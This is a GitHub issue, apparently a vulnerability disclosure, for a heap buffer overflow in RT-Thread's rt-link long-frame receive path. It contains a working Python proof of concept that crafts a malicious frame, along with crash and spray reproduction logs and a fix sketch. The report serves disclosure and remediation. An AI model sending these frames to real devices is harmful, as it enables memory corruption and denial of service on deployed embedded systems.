Repository navigation
Description
RT-Thread Version
master (v5.4.0-dev), verified at commit 5d1fb66d and re-read from origin/master (2026-11-11). Present since release v4.1.0 (verified by tag in v4.1.0, v5.0.0–v5.3.0 and master; absent in v4.0.x).
Affected area
Utilities — components/utilities/rt-link/ (RT_USING_RT_LINK)
Hardware-BSP vendor
Other
Architecture
ARM Cortex-M/A — any board whose firmware enables RT_USING_RT_LINK and supplies the standard board port (the component's documented integration, e.g. boards talking to external WiFi modules over UART through RT_LINK_SERVICE_WIFI)
Board and hardware details
Reproduced two ways: (1) end-to-end over a real UART link under QEMU (qemu-vexpress-a9 BSP, rt-link port wired to the board's second PL011 — the peer injects frames on the wire); (2) on a Raspberry Pi Pico 2 W with a trigger firmware (USB-CDC console, commands feed the identical frame bytes through rt_link_hw_write_cb(), the official board-port receive entry defined in rtlink_port.h). In both cases everything downstream of the port boundary is unmodified upstream rt-link code.
Develop Toolchain
GCC
Describe the bug
The rt-link long-frame receiver allocates the reassembly buffer with one attacker-controlled field (extend.parameter) but fills it using two other independently attacker-controlled fields (the sequence-derived offset and head.length) without any cross-check — one frame from the link peer writes up to ~4 KB of fully attacker-controlled data past a 1-byte heap allocation. No handshake, no CRC, no registered service is required.
/* components/utilities/rt-link/src/rtlink.c */
static void _long_handle_first(struct rt_link_frame *receive_frame)
{
...
rt_link_scb->rx_record.dataspace = rt_malloc(receive_frame->extend.parameter); /* L475: peer picks the allocation size — can be 1 */
}
static void _long_handle_second(struct rt_link_frame *receive_frame)
{
...
receive_frame->index = rt_link_check_seq(receive_frame->head.sequence, ...) - 1; /* 0/1/2, from the peer's seq */
...
offset = RT_LINK_MAX_DATA_LENGTH * receive_frame->index; /* 1012 * index → 0 / 1012 / 2024 */
rt_link_hw_copy(rt_link_scb->rx_record.dataspace + offset,
receive_frame->real_data, receive_frame->data_len); /* L503: data_len = head.length, up to 2044 */
}Nothing verifies offset + data_len <= parameter. Note the sender side (rt_link_send()) enforces total <= RT_LINK_FRAMES_MAX and caps every frame at RT_LINK_MAX_DATA_LENGTH — the receiver trusts invariants its own transmitter guarantees but a hostile peer does not.
PoC — one malicious frame
Frame layout (little-endian): head magicid:5=0x15 | extend:1 | crc:1 | ack:1 / sequence / service:5 | length:11, then extend attribute:u16, parameter:u16, then length payload bytes.
# rt-link long-frame heap-overflow PoC — run against the board's link UART
import socket, struct, time
def frame(seq, length, parameter, service=0):
b0 = 0x15 | (1 << 5) # magic | extend=1 | crc=0 | ack=0
b2 = (service & 0x1F) | ((length & 0x7) << 5)
b3 = length >> 3
ext = struct.pack("<HH", 5, parameter) # 5 = RT_LINK_LONG_DATA_FRAME
return bytes([b0, seq, b2, b3]) + ext + b"\x41" * length
s = socket.socket(socket.AF_UNIX); s.connect("/tmp/rtt-uart1.sock") # peer side of the link UART
for i in range(0, 8 + 1012, 256):
s.sendall(frame(0x01, 1012, 1)[i:i+256]); time.sleep(0.02) # seq 1 → index 1: 1012 bytes at chunk+1012Why this single frame reaches the copy:
crcbit = 0 →CHECK_FRAME_CRCis skipped entirely (no checksum to satisfy);- no handshake needed:
rx_record.rx_seqstarts at 255, sosequence1/2/3 maps to index 1/2/0 and passes theoffset < RT_LINK_FRAMES_MAX(3)gate added by PR rt-link: reject frame offset at frame limit #11580 — the PoC frames are legal frames under that fix; - no registered service needed: the overflow happens inside
_long_handle_second(), beforert_link_recv_finish()would notice the service slot is empty (an unregistered service merely gets a DETACH reply after the copy).
Result: rt_malloc(1) then a 1012-byte attacker memcpy at chunk+1012 — attacker-chosen content, offset (0/1012/2024) and length (up to 2044), i.e. up to 2024 + 2044 = 4067 controlled bytes past a 1-byte allocation. CWE-787 with the full content/offset/length triple under peer control.
Reproduction 1 — full USB/UART wire under QEMU (control vs attack)
Board: qemu-vexpress-a9 + RT_USING_RT_LINK; the board port (30 lines implementing the documented rtlink_port.h contract) hands the second PL011's received bytes to rt_link_hw_write_cb(). The peer is driven from QEMU's second serial chardev.
- Control — identical frame with
parameter=1012(exact fit for the copy): parsed cleanly, 8-byte DETACH reply on the link UART (35 00 00 00 03 00 00 00), system stays healthy at the msh prompt. - Single attack frame — GDB stopped at
rtlink.c:503shows the 1-byte allocation and the write past it:
dataspace=0x600bf3b8 alloc(parameter)=1 data_len=1012 index=0 offset=0
before: 0x600bf3c0: 00000000 00000000 600bf328 00002110 ← adjacent small-mem chunk header
after : 0x600bf3c0: 41414141 41414141 41414141 41414141 ← 1011-byte OOB write (peer bytes)
- Spray (kernel death) — 260 self-synchronised frames (each frame's DETACH reply confirms completion;
rx_seqrolls 255→3 mod 256), each leaking a 1-byte chunk and smashing 2044 bytes at +1012. Console afterwards:
backtrace: 60068320 60068480 60044888 60088c40
= list_get_next(cmd.c:197) ← list_thread ← rt_hw_trap_dabt ← vector_dabt
data abort: r04:0xdeadbeef r05:0xdeadbeef r07:0xdeadbeef ip:0xdeadbeef (sp inside the rtlink/tshell stack region)
(0) assertion failed at function:rt_hw_cpu_shutdown, line number:85 ← kernel death
Reproduction 2 — on hardware (Raspberry Pi Pico 2 W)
Trigger firmware: RT-Thread kernel + the unmodified components/utilities/rt-link sources, USB-CDC console; the rtlink commands feed the byte-identical frame(s) through rt_link_hw_write_cb() (the receive entry every board port must call). Actual console record:
rtlink> rtlink status
state=0 rx_seq=255 rx_total=0 long_count=0x00 recv_len_port=0
rtlink> rtlink probe ← one malicious frame
[*] probe frame delivered (rx_seq 255 -> 0); ... ← frame fully parsed, OOB copy executed,
system survives (silent heap corruption)
rtlink> rtlink spray ← 7000-frame spray
[*] spraying 7000 long frames (malloc(1) + 2044-byte copy at +1012 each)...
[*] 4750/7000 (rx_seq=246)
[*] 4775/7000 (rx_seq=167) ← 4775 mod 256 = 167: parsing still completing at death
[ ← console freezes mid-line: kernel HardFault, board dead
The death point matches the heap geometry exactly: each leaked rt_malloc(1) occupies 24 bytes in the small-mem allocator, so 4775 frames ≈ 114.6 KB of carve-front advance plus ~13 KB of boot-time live objects ≈ 128 KB = RT_HEAP_SIZE — the frontier and its +3055-byte smash span reach the end of the heap and the kernel dies on the spot, while frame parsing (rx_seq=167) was still completing.
Expected behavior: the receiver must validate the frame against the allocation — reject data_len > RT_LINK_MAX_DATA_LENGTH on receive (the sender side already enforces this) and ensure offset + data_len <= extend.parameter before the _long_handle_second() copy.
Other additional context
- Severity: CVSS 3.1
AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H= 8.7 — the attacker is the rt-link peer device (external module / other MCU on the link, the component's own deployment model); no privileges, no interaction, no configuration beyondRT_USING_RT_LINK. For reference, NVD scored the sibling send-path rt-link flaw CVE-2024-25395 asAV:N(= 8.8 with PR:L); under the same vector this receive-path flaw, which needs no local application cooperation, would be 9.8. CWE-787. - Relationship to CVE-2024-25395 (HN Security, issue Static buffer overflow in RT-Thread rt-link utility #8289, open): different vulnerability — that is the send path (
frame_send()staticsendbufferoverflow, requires the local application to callrt_link_sendoversized). This report is the receive path (long-frame heap reassembly, attacker = link peer alone). Open issue [utilities][rt-link] reject oversized frames before sendbuffer copy #12018 likewise proposes a send-path-only fix and does not touch the receive path. - Relationship to merged PR rt-link: reject frame offset at frame limit #11580 ("reject frame offset at frame limit", 50c6853, 2026-07): that fix bounds the frame index to 0/1/2 — the PoC frames use index 0/1 and pass it as legal frames; the missing check is exactly
offset + data_len <= parameteron the copy, making this an incomplete-fix sibling of rt-link: reject frame offset at frame limit #11580. - Affected versions: introduced with the component's long-frame reassembly (no later than 21f9e56, 2021-05-15); first affected release v4.1.0; verified in v4.1.0 through v5.3.0 and master. No fix on any path: the full commit history of
components/utilities/rt-link, all branches, NVD, the HN 2024 advisory and GitHub issue/PR search show no receive-path fix or report. - Fix sketch:
/* in _long_handle_first: remember the allocation and validate the total */
rt_link_scb->rx_record.dataspace_size = receive_frame->extend.parameter;
if (receive_frame->extend.parameter == 0 ||
receive_frame->extend.parameter > RT_LINK_FRAMES_MAX * RT_LINK_MAX_DATA_LENGTH)
return; /* abort session */
/* in _long_handle_second, before the copy */
if (receive_frame->data_len > RT_LINK_MAX_DATA_LENGTH ||
(rt_size_t)RT_LINK_MAX_DATA_LENGTH * receive_frame->index + receive_frame->data_len
> rt_link_scb->rx_record.dataspace_size)
return; /* abort session */(plus rejecting head.length > RT_LINK_MAX_DATA_LENGTH for data frames in rt_link_frame_check, mirroring what rt_link_send already guarantees on the transmit side)
Activity
github-actions commentedon Nov 11, 2026
如需认领并处理此 Issue,请评论
/claim。To claim and work on this issue, comment
/claim.cms19859230182-lang commentedon Nov 11, 2026
Opened PR #12031: #12031
Receive-path long-frame reassembly bounds only; did not touch sendbuffer path (#8289/#12018). No malicious frame PoC.
cms19859230182-lang commentedon Nov 11, 2026
/claim
github-actions commentedon Nov 11, 2026
@cms19859230182-lang has claimed this issue.
[utilities][rt-link] bound long-frame reassembly against allocation size
[utilities][rt-link] bound long-frame reassembly against allocation size